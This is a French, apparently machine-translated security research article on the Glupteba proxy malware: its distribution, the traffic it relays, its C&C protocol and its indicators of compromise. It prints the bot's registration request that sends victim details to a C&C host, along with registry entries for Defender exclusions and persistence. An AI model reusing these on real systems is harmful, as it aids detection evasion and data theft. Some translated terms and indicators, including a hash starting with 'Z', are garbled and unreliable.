Win32 / Glupteba n'est plus associé à l'opération Windigo

Une étude de Linux / Ebury , le composant principal de l'opération de Windigo , nous a amenés à regarder de plus près le reste de l'écosystème pour voir s'ils étaient utilisés dans l'opération. L'attention a été attirée sur le serveur proxy ouvert Win32 / Glupteba, qui était auparavant distribué à l'aide d'un ensemble d'exploits dans le cadre de l'opération Windigo. Selon les résultats de la dernière analyse, nous supposons que le programme n'est plus associé à Windigo.


Dans un article, nous fournirons des informations sur les mécanismes de distribution actuels de Glupteba, une brève analyse du trafic réseau passant par le proxy, une analyse technique de l'état du fichier binaire Glupteba et la relation entre Glupteba et Windigo.



La prolifération des dynamiques de Glupteba


Bref historique


À différents moments, Glupteba a utilisé différentes méthodes de distribution. Nous avons suivi les modèles et méthodes de base des logiciels malveillants au cours des sept dernières années et fournissons un aperçu de leur évolution.


En 2011, lorsque ESET étudiait le kit de démarrage TDL-4 , nos analystes ont découvert (et publié ) qu'il était utilisé comme téléchargeur de logiciels malveillants supplémentaires. Glupteba était l'une des options installées Malvari. Les opérateurs de TDL-4 ont probablement vendu des services de distribution aux marchés noirs.


Trois ans plus tard, une étude de l'opération Windigo a révélé qu'une partie de l'infrastructure des serveurs Linux compromis était utilisée pour rediriger certaines des requêtes HTTP via des serveurs Web troyens (Apache httpd, lighttpd et nginx). Les demandes ont été redirigées vers des serveurs DNS contrôlés par les opérateurs Windigo, qui ont renvoyé l'adresse IP de la destination de redirection finale via un enregistrement A. Il abritait généralement un ensemble d'exploits. Avec l'exploit utilisé avec succès, Glupteba a été installé sur le périphérique cible.


La relation entre Windigo et Glupteba ne se limite pas à cela. Les serveurs C & C Glupteba étaient également hébergés sur des machines faisant partie du botnet Windigo. De plus, la seule mission de Glupteba à l'époque était de transmettre le spam au nom de l'infrastructure Windigo. Il est difficile de dire que les mêmes personnes contrôlaient le Glupteba et le botnet Windigo. Les opérateurs Windigo peuvent avoir revendu l'accès à leur infrastructure.


Schéma de distribution moderne


Actuellement, le vecteur de distribution de Glupteba a encore changé. Malvar n'utilise plus l'infrastructure Windigo - Glupteba fait désormais partie de son propre botnet.


Glupteba est distribué à l'aide de MSIL / Adware.CsdiMonetize.AG, un programme qui fournit diverses familles de logiciels malveillants qui paient pour le nombre d'installations (Pay-Per-Install). En plus de Glupteba, nous avons observé le chargement de logiciels, de crypto-mineurs et d'adwares potentiellement indésirables.


Au lieu de télécharger directement Glupteba.AY, MSIL / Adware.CsdiMonetize.AG télécharge son compte-gouttes, qui enregistre le bot sur le serveur C&C, ajoute des exceptions à Windows Defender et au pare-feu Windows, et configure également l'environnement d'installation de Glupteba.


La demande d'enregistrement de bot contient des informations sur la voiture de la victime. Voici un exemple d'une telle demande:


POST /bots/register HTTP/1.1 Host: burnandfire5.com User-Agent: Go-http-client/1.1 Content-Length: 400 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip Data[appname]=SolitaryBrook&Data[arch]=32&Data[av]=&Data[build_number]= 7601&Data[compaign_id]=&Data[cpu]=<CPU_SPEC>&Data[defender]=1&Data[exploited]=1&Data[firewall]=1&Data[gpu]=<GPU_INFO>&Data[is_admin]=1&Data[os]=<OS_INFO>&Data[username]=<USERNAME>&Data[version]=71 

Une entrée de registre Windows HKCU \ Software \ Microsoft \ TestApp \ UUID est également créée. Cela est nécessaire pour la mise en œuvre réussie de Glupteba. Le paramètre ne doit pas être vide.


Ensuite, les entrées de registre suivantes sont créées pour ajouter des exceptions aux règles de Windows Defender et au pare-feu Windows:


 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet = 0HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cloudnet.exe = 0HKLM\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{09E3DB75-DE77-4B2D-A351-C745D9A15617} = “v2.10|Action=Allow|Active=TRUE|Dir=In|App=C:\Users\<USERNAME>\AppData\Roaming\EpicNet Inc\CloudNet\cloudnet.exe” 

Selon la télémétrie ESET, l'activité de Glupteba a été enregistrée dans 180 pays depuis début 2017. Trois pays représentent 25% de toutes les détections - il s'agit de la Russie, de l'Ukraine et de la Turquie. La figure 1 montre les pays dans lesquels nous avons pu identifier des cas de prolifération.



Figure 1. Taux de détection par pays


Analyse de l'utilisation du proxy


Au moment de l'opération Windigo, le seul but de Glupteba était de transmettre du spam aux destinataires finaux. Nous voulions savoir si l'utilisation de malvari avait changé depuis. En novembre 2017, nous avons enregistré le trafic réseau passant par un hôte infecté pendant quatre jours. Le trafic HTTPS étant resté crypté, l'image observée se limitait aux protocoles réseau non cryptés. Selon notre analyse, Glupteba envoie désormais non seulement du spam, mais les logiciels malveillants utilisent divers systèmes automatisés. Les opérateurs de Glupteba peuvent utiliser le serveur proxy eux-mêmes, mais nous pensons qu'ils vendent son utilisation en tant que service à des tiers. De plus, nous fournirons des informations sur le trafic le plus intéressant.


La première chose que nous avons notée est que Glupteba est toujours utilisé pour envoyer du spam aux destinataires finaux. Voici un exemple d'un tel message:


 From: “Ella Dmhfey” <Ella87@bilanzgewinn.at> To: “???????” <??????????@gmail.com> Subject: ?????????? kaufen Sie Se-xpower Date: Fri, 10 Nov 2017 14:18:10 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=”iso-8859-1″ Content-Transfer-Encoding: 7bit Guten Tag ????????? , Damit kriegen Sie Ihre Dame zum Hoehepunkt. ?????????: http://www.sexpillen-versandhaus[.]info/shop 

De plus, Glupteba est visible dans les attaques de réutilisation de mot de passe. Glupteba fournit un certain anonymat aux attaquants, car l'adresse IP est toujours cachée au serveur de destination. De plus, le logiciel malveillant vous permet de répartir les demandes entre plusieurs adresses IP, ce qui réduit le risque de bloquer le site cible. Nous avons vu l'utilisation de telles attaques sur trois domaines.


Tableau 1. Domaines cibles non HTTPS


Nom de domaineBrève description
adfoc.usService d'abréviation d'URL où les utilisateurs sont payés par visite
bonusbitcoin.coRobinet Bitcoin
social.tunecore.comSite d'hébergement de musique

Il peut y avoir plus de domaines cibles. Nous connaissons les noms de domaine auxquels on a accédé lors de l'utilisation du protocole HTTPS, grâce au champ server_name dans la structure ClientHello utilisé dans le processus de négociation d'une connexion à l'aide du protocole TLS (Handshake). Cela donne une idée des sites qui ont été la cible de l'attaque. Le tableau 2 répertorie les domaines triés par diminution du trafic.


Tableau 2. Domaines dans le champ nom_serveur du certificat


Nom du serveurURL d'authentification
auth.mail.ruhttps://auth.mail.ru/cgi-bin/auth
www.instagram.comhttps://www.instagram.com/accounts/login/ajax/
store.steampowered.comhttps://store.steampowered.com/login/dologin/
www.amazon.comhttps://www.amazon.com/ap/signin
auth.riotgames.comhttps://auth.riotgames.com/authz/auth
vk.comhttps://vk.com/login
global.americanexpress.comhttps://global.americanexpress.com/myca/logon/emea/action
www.facebook.comhttps://www.facebook.com/login/device-based/regular/login/
signin.ea.comhttps://signin.ea.com/p/web2/login
account.t-mobile.comhttps://account.t-mobile.com/svr/authenticate
www.linkedin.comhttps://www.linkedin.com/uas/login-submit
www.westernunion.comhttps://www.westernunion.com/wuconnect/rest/api/v1.0/CustomerSignOn
www.paypal.comhttps://www.paypal.com/signin
www.britishairways.comhttps://www.britishairways.com/api/grant
auth.api.sonyentertainmentnetwork.comhttps://auth.api.sonyentertainmentnetwork.com/login.jsp
account.sonymobile.comhttps://account.sonymobile.com/api/ng/signin
www.expedia.comhttps://www.expedia.com/user/signin

Un autre exemple de relais automatique du trafic via un élément intermédiaire est enregistré sur le site www.omegle.com. Sur ce site, deux inconnus peuvent se rencontrer dans un chat privé. Nous avons regardé le bot rejoindre le chat et essayer de convaincre un autre utilisateur de suivre le lien. Ce service semble être une cible populaire pour les bots. La plupart des interactions observées étaient que deux robots se sont attirés mutuellement dans l'application mobile Kik Messenger ou ont proposé d'aller sur des sites pornographiques via un lien court.


Voici un exemple de l'interaction de deux robots:


 guest> heyy stranger> my name is Tomasa stranger> im female . stranger> from Rio de aneiro,Brazil stranger> ready to talk, enter here: stranger> bit.ly/<REDACTED> guest> 18 female guest> wanena etrade picturesh ? guest> zyari.site/<REDACTED> guest> messsage me theree ill sendc you sxome mor8e guest> ok we2ll im goinn 2 getwt off bye 

Nous avons également trouvé des bots utilisant des requêtes HTTP POST spéciales pour tenter de trouver des shells Web. Les domaines ont été triés par ordre alphabétique décroissant, ce qui implique le traitement logiciel de leur liste.


Liens avec Windigo


Nous avons décidé de visiter Glupteba à nouveau pour savoir si le malware était lié à l'opération Windigo. L'analyse a révélé que ce n'est pas le cas. Ensuite, nous examinons les raisons de cette conclusion.


La première chose que nous avons remarquée, ce sont les serveurs utilisés par Glupteba C&C. Aucune des adresses IP détectées ne correspondait aux serveurs bien connus compromis par Ebury. De plus, les nouveaux serveurs C&C ont de nombreux ports ouverts, tandis que les anciens n'avaient qu'une seule règle DNAT et SNAT pour rediriger le trafic vers le serveur actuel. Un tel nombre de ports ouverts crée beaucoup d'interférences - ce n'est pas typique des opérateurs Windigo.


Comme mentionné dans le rapport d'opération de Windigo, un client se connectant à Glupteba a envoyé une requête HTTP GET au port 25 de la machine Ebury compromise avant de spammer. Maintenant, le schéma a changé - le spam passe par un proxy sans aucune entrée, les messages sont différents.


Enfin, la distribution de Glupteba ne dépend plus de Windigo - MSIL / Adware.CsdiMonetize.AG en est responsable.


Sur la base de tout ce qui précède, nous pensons que Glupteba n'est plus associée à l'opération Windigo.


Analyse technique


Dans cette section, nous fournissons une analyse technique des échantillons de Glupteba étudiés pendant l'étude. La première chose que nous avons remarquée est qu'ils diffèrent des échantillons que nous avons analysés en 2014. Nous pensons que Glupteba a été réécrite à partir de zéro. Glupteba était un programme assez petit et simple, alors que maintenant c'est un programme C ++ volumineux et très complexe. Auparavant, il prenait en charge environ 70 fonctions, il y en a maintenant plus de 3600.



Figure 2. Comparaison de la liste des fonctions


Glupteba est désormais lié statiquement aux bibliothèques Boost C ++ , comme illustré dans la figure 3. Pour la communication via des sockets, il utilise l'API Windows Sockets: WSASend et WSARecv au lieu d'envoyer et de recv.



Figure 3. Boostez les lignes de code de la bibliothèque C ++


Persistance


Glupteba fournit la persistance en ajoutant une entrée à la clé de registre Run. Ainsi, à chaque démarrage de Windows, Glupteba démarre. Voici l'entrée de registre que vous créez:


 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\CloudNet = %APPDATA%\EpicNet Inc\CloudNet\cloudnet.exe” 

D'autres entrées sont créées dans le registre Windows. Voici les plus intéressants:


 HKCU\Software\EpicNet Inc.\CloudNet\Value = “20180223” HKCU\Software\EpicNet Inc.\CloudNet\GUID = “CDC0432A-0298-40B1-9A71-D61F94C013A7” 

L'entrée GUID contient l'ID du bot créé par l'appel CoCreateGuid. L'enregistrement Value contient l'horodatage du fichier PE binaire Glupteba.


Communication avec un serveur C&C


Du point de vue de la configuration du réseau, il n'y a pas de changements majeurs dans ces échantillons par rapport aux échantillons que nous avons décrits dans le rapport d'exploitation Windigo. Au démarrage, Glupteba envoie la même balise au serveur de commandes, en réponse reçoit la session et le port auxquels Glupteba se connecte pour les tâches liées au proxy.


La balise envoyée au serveur de commandes:


 GET /stat?uptime=100&downlink=1111&uplink=1111&id=05AA812F&statpass=bpass&version=20171106&features=30&guid=68794E51-0DBC-4CF6-BD98-8B18FE3E0A18&comment=20171106&p=0&s= HTTP/1.0 

Les serveurs d'équipe sont stockés cryptés dans un fichier binaire. Après le décryptage, ils ressemblent à ceci:


 'server-%s.sportpics[.]xyz:30,server-%s.kinosport[.]top:30,' 

Le nombre après les deux points est la plage maximale du nombre de serveurs. Dans ce cas, «30» signifie qu'il y a 30 noms de domaine obtenus en formatant la chaîne de domaine avec des nombres de 1 à 30. Lors de la communication avec le serveur C&C, l'un de ces domaines est sélectionné au hasard et le GUID de la machine compromise est ajouté en tant que sous-domaine au début de serveur sélectionné.


Exemple de serveur C & C:


 68794E51-0DBC-4CF6-BD98-8B18FE3E0A18.server-1.sportpics[.]xyz 

Glupteba envoie également une deuxième demande GET à son serveur de commandes pour mettre à jour les informations sur les spécifications techniques de la machine de la victime. Cela ressemble à ceci:


 GET /update.php?uid=<BOT_ID>&version=<VERSION>&OS=<OS>&have_admin=1&mys=<C&C_SERVERS>&build=<PE_TIMESTAMP>&cpu=<CPU>&video=<VIDEO_CARD>&ram=<GB_OF_RAM> HTTP/1.0 

Cryptage des chaînes


Les lignes de code de Glupteba sont cryptées à l'aide d'un algorithme spécial. Le processus de déchiffrement utilise une clé de 16 octets et se déroule en trois phases. La clé est différente pour chaque version du programme. Au cours de la première phase, le générateur de vortex de Mersenne (PRNG) est utilisé. L'algorithme est rempli avec les quatre premiers octets de la clé. Ensuite, chaque octet du chiffre passe par une opération XOR avec l'octet suivant généré par le vortex de Mersenne.



Figure 4. La première phase du processus de décryptage


Il existe trois options différentes pour la deuxième phase. L'un utilise le chiffre Rabbit , l'autre effectue une autre itération de l'opération XOR, similaire à celle utilisée dans la première phase, mais avec un remplissage de clé différent. Dans les échantillons étudiés, seule la troisième option est utilisée. Il se compose d'une boucle XOR avec une clé.


La troisième et dernière phase est un autre cycle XOR avec la valeur obtenue en calculant le résultat de la deuxième phase et les valeurs immédiates.



Figure 5. La troisième phase du processus de décryptage


Dans notre référentiel GitHub, nous avons publié un script pour décrypter toutes les lignes. Étant donné que l'implémentation du vortex de Mersenne en Python est légèrement différente de celle utilisée par Glupteba, nous avons également publié son implémentation en Python. Avant d'exécuter le script, assurez-vous que son répertoire se trouve dans votre% PYTHONPATH%. Vous pouvez le faire en exécutant la commande dans l'interpréteur Python IDA:


 sys.path.append(<  >) 

Résumé


Les opérateurs de Glupteba continuent de trouver des moyens de propager les malvari, malgré l'opposition de la communauté professionnelle. Après avoir découvert les opérations de Windigo, ils ont changé de tactique tout en maintenant la couverture.


Le développement de la boîte à outils à partir de zéro et la distribution actuelle montrent que les attaquants exécutant Glupteba sont toujours actifs. Leurs efforts prouvent que le marché des proxy ouverts est extrêmement rentable et Glupteba ne devrait pas disparaître du radar dans un avenir proche.


Indicateurs de compromis (IoC)


Hashs


SHA-1Nom du fichierDétection ESET
B623F4A6CD5947CA0016D3E33A07EB72E8C176BAcloudnet.exeWin32 / Glupteba.AY
ZED310E5B9F582B4C6389F7AB9EED17D89497F277cloudnet.exeWin32 / Glupteba.AY
F7230B2CAB4E4910BCA473B39EE8FD4DF394CE0Dsetup.exeMSIL / Adware.CsdiMonetize.AG
70F2763772FD1A1A54ED9EA88A2BCFDB184BCB91cloudnet.exeWin32 / Glupteba.AY
87AD7E248DADC2FBE00D8441E58E64591D9E3CBEcloudnet.exeWin32 / Glupteba.AY
1645AD8468A2FB54763C0EBEB766DFD8C643F3DBcsrss.exeWin32 / Agent.SVE

Domaines C&C du serveur Glupteba


 server-{1,30}[.]ostdownload.xyz server-{1,30}[.]travelsreview.world server-{1,30}[.]bigdesign.website server-{1,30}[.]sportpics.xyz server-{1,30}[.]kinosport.top server-{1,30}[.]0ev.ru server-{1,30}[.]0df.ru server-{1,30}[.]0d2.ru server-{1,30}[.]0d9.ru 

Adresses IP du serveur Glupteba C&C


 5[.]101.6.132 5[.]79.87.139 5[.]79.87.153 5[.]8.10.194 37[.]48.81.151 46[.]165.244.129 46[.]165.249.167 46[.]165.249.195 46[.]165.249.201 46[.]165.249.203 46[.]165.250.25 78[.]31.67.205 78[.]31.67.206 80[.]93.90.27 80[.]93.90.32 80[.]93.90.69 80[.]93.90.72 80[.]93.90.78 80[.]93.90.84 81[.]30.152.25 85[.]114.135.113 85[.]114.141.81 89[.]163.206.137 89[.]163.206.174 89[.]163.212.9 91[.]121.65.98 91[.]216.93.126 91[.]216.93.20 109[.]238.10.78 178[.]162.193.193 178[.]162.193.195 178[.]162.193.66 178[.]162.193.86 193[.]111.140.238 193[.]111.141.213 212[.]92.100.114 212[.]92.100.115 213[.]202.254.161 213[.]5.70.9 217[.]79.189.227 

Domaines C&C du serveur Agent.SVE


 financialtimesguru[.]com comburnandfire5[.]com 

Source: https://habr.com/ru/post/fr417619/


All Articles